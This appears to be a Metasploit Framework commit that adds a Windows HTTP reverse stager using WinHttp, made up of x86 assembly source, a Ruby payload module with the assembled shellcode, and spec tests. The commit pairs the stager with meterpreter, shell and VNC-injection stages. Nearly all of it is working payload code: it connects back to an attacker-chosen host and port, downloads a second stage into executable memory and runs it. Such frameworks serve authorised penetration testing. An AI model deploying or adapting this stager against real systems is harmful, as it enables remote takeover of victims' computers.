HTTP stager based on WinHttp

bug/bundler_fix
Borja Merino 2015-01-19 13:01:56 +01:00 committed by HD Moore
parent cd992d5ea6
commit 991e72a4fa
4 changed files with 309 additions and 0 deletions

View File

@ -0,0 +1,139 @@
;-----------------------------------------------------------------------------;
; Author: Borja Merino (modification of the HD Moore HTTP stager based on WinINet)
; Version: 1.0
;-----------------------------------------------------------------------------;
[BITS 32]
%define u(x) __utf16__(x)
%define HTTP_OPEN_FLAGS 0x00000100
;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_winhttp:
push 0x00707474 ; Push the string 'winhttp',0
push 0x686E6977 ; ...
push esp ; Push a pointer to the "winhttp" string
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "winhttp" )
set_retry:
push byte 6 ; retry 6 times
pop EDI
xor ebx, ebx
mov ecx, edi
push_zeros:
push ebx ; NULL values for the WinHttpOpen API parameters
loop push_zeros
WinHttpOpen:
; Flags [5]
; ProxyBypass (NULL) [4]
; ProxyName (NULL) [3]
; AccessType (DEFAULT_PROXY= 0) [2]
; UserAgent (NULL) [1]
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
call ebp
WinHttpConnect:
push ebx ; Reserved (NULL) [4]
push dword 4444 ; Port [3]
call got_server_uri ; Double call to get pointer for both server_uri and
server_uri: ; server_host; server_uri is saved in EDI for later
dw u('/12345'), 0
got_server_host:
push eax ; Session handle returned by WinHttpOpen [1]
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
call ebp
WinHttpOpenRequest:
push HTTP_OPEN_FLAGS ; Flags [7]
push ebx ; AcceptTypes (NULL) [6]
push ebx ; Referrer (NULL) [5]
push ebx ; Version (NULL) [4]
push edi ; ObjectName (URI) [3]
push ebx ; Verb (GET method) (NULL) [2]
push eax ; Connect handler returned by WinHttpConnect [1]
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
call ebp
xchg esi, eax ; save HttpRequest handler in esi
send_request:
WinHttpSendRequest:
; Context [7]
; TotalLength [6]
push ebx ; OptionalLength (0) [5]
push ebx ; Optional (NULL) [4]
push ebx ; HeadersLength (0) [3]
push ebx ; Headers (NULL) [2]
push esi ; HttpRequest handler returned by WinHttpOpenRequest [1]
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
call ebp
test eax,eax
jnz short receive_response ; if TRUE call WinHttpReceiveResponse API
try_it_again:
dec edi
jnz send_request
; if we didn't allocate before running out of retries, fall through to
; failure
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
receive_response:
; The API WinHttpReceiveResponse needs to be called
; first to get a valid handler for WinHttpReadData
push ebx ; Reserved (NULL) [2]
push esi ; Request handler returned by WinHttpSendRequest [1]
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
call ebp
test eax,eax
jz failure
allocate_memory:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (8Mb ought to do us)
push ebx ; NULL as we dont care where the allocation is
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
download_prep:
xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack
push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead
download_more:
push edi ; NumberOfBytesRead (bytesRead)
push 8192 ; NumberOfBytesToRead
push ebx ; Buffer
push esi ; Request handler returned by WinHttpReceiveResponse
push 0x7E24296C ; hash( "winhttp.dll", "WinHttpReadData" )
call ebp
test eax,eax ; if ownload failed? (optional?)
jz failure
mov eax, [edi]
add ebx, eax ; buffer += bytes_received
test eax,eax ; optional?
jnz download_more ; continue until it returns 0
pop eax ; clear the temporary storage
execute_stage:
ret ; dive into the stored stage address
got_server_uri:
pop edi
call got_server_host ; put the server_host on the stack (WinHttpConnect API [2])
server_host:

View File

@ -0,0 +1,19 @@
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Borja Merino (bmerinofe[at]gmail.com). [WinHttp stager (Http)]
; Version: 1.0 (January 2015)
; Size: 323 bytes
; Build: >build.py stager_reverse_winhttp_http
;-----------------------------------------------------------------------------;
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start: ;
pop ebp ; pop off the address of 'api_call' for calling later.
%include "./src/block/block_reverse_winhttp_http.asm"
; By here we will have performed the reverse_tcp connection and EDI will be our socket.

View File

@ -0,0 +1,101 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_http'
module Metasploit3
include Msf::Payload::Stager
include Msf::Payload::Windows
def self.handler_type_alias
"reverse_winhttp_http"
end
def initialize(info = {})
super(merge_info(info,
'Name' => 'Reverse HTTP Stager (WinHTTP)',
'Description' => 'Tunnel communication over HTTP',
'Author' =>
[
'hdm', # original stager
'Borja Merino <bmerinofe[at]gmail.com>' # Adaptation from the hdm stager (based on WinINet) to WinHTTP
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseHttp,
'Convention' => 'sockedi http',
'Stager' =>
{
'Offsets' =>
{
# Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now)
# 'EXITFUNC' => [ 244, 'V' ],
'LPORT' => [ 174, 'v' ] # Not a typo, really little endian
},
'Payload' =>
# Size 323 (lhost not included)
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b" +
"\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c" +
"\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52" +
"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20" +
"\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac" +
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75" +
"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" +
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" +
"\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x74\x74\x70\x00\x68\x77" +
"\x69\x6e\x68\x54\x68\x4c\x77\x26\x07\xff\xd5\x6a\x06\x5f\x31\xdb" +
"\x89\xf9\x53\xe2\xfd\x68\x04\x1f\x9d\xbb\xff\xd5\x53\x68\x5c\x11" +
"\x00\x00\xe8\x86\x00\x00\x00\x2f\x00\x31\x00\x32\x00\x33\x00\x34" +
"\x00\x35\x00\x00\x00\x50\x68\x46\x9b\x1e\xc2\xff\xd5\x68\x00\x01" +
"\x00\x00\x53\x53\x53\x57\x53\x50\x68\x98\x10\xb3\x5b\xff\xd5\x96" +
"\x53\x53\x53\x53\x56\x68\x95\x58\xbb\x91\xff\xd5\x85\xc0\x75\x0a" +
"\x4f\x75\xed\x68\xf0\xb5\xa2\x56\xff\xd5\x53\x56\x68\x05\x88\x9d" +
"\x70\xff\xd5\x85\xc0\x74\xec\x6a\x40\x68\x00\x10\x00\x00\x68\x00" +
"\x00\x40\x00\x53\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x53\x89\xe7" +
"\x57\x68\x00\x20\x00\x00\x53\x56\x68\x6c\x29\x24\x7e\xff\xd5\x85" +
"\xc0\x74\xc0\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\x5f\xe8\x82" +
"\xff\xff\xff"
}
))
end
#
# Do not transmit the stage over the connection. We handle this via HTTPS
#
def stage_over_connection?
false
end
#
# Generate the first stage
#
def generate
p = super
# URI search in wide char (16 bits)
i = p.index(Rex::Text.to_unicode("/12345") + "\x00")
u = Rex::Text.to_unicode("/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW)) + "\x00"
p[i, u.length] = u
lhost = datastore['LHOST'] || Rex::Socket.source_address
if Rex::Socket.is_ipv6?(lhost)
lhost = "[#{lhost}]"
end
# Host needs to be in wide char (16 bits)
p + Rex::Text.to_unicode(lhost + "\x00")
end
#
# Always wait at least 20 seconds for this payload (due to staging delays)
#
def wfs_delay
20
end
end

View File

@ -3806,4 +3806,54 @@ describe 'modules/payloads', :content do
modules_pathname: modules_pathname,
reference_name: 'windows/vncinject/bind_hidden_ipknock_tcp'
end
context 'windows/dllinject/reverse_winhttp_http' do
it_should_behave_like 'payload can be instantiated',
ancestor_reference_names: [
'stagers/windows/reverse_winhttp_http',
'stages/windows/dllinject'
],
modules_pathname: modules_pathname,
reference_name: 'windows/dllinject/reverse_winhttp_http'
end
context 'windows/meterpreter/reverse_winhttp_http' do
it_should_behave_like 'payload can be instantiated',
ancestor_reference_names: [
'stagers/windows/reverse_winhttp_http',
'stages/windows/meterpreter'
],
modules_pathname: modules_pathname,
reference_name: 'windows/meterpreter/reverse_winhttp_http'
end
context 'windows/shell/reverse_winhttp_http' do
it_should_behave_like 'payload can be instantiated',
ancestor_reference_names: [
'stagers/windows/reverse_winhttp_http',
'stages/windows/shell'
],
modules_pathname: modules_pathname,
reference_name: 'windows/shell/reverse_winhttp_http'
end
context 'windows/upexec/reverse_winhttp_http' do
it_should_behave_like 'payload can be instantiated',
ancestor_reference_names: [
'stagers/windows/reverse_winhttp_http',
'stages/windows/upexec'
],
modules_pathname: modules_pathname,
reference_name: 'windows/upexec/reverse_winhttp_http'
end
context 'windows/vncinject/reverse_winhttp_http' do
it_should_behave_like 'payload can be instantiated',
ancestor_reference_names: [
'stagers/windows/reverse_winhttp_http',
'stages/windows/vncinject'
],
modules_pathname: modules_pathname,
reference_name: 'windows/vncinject/reverse_winhttp_http'
end
end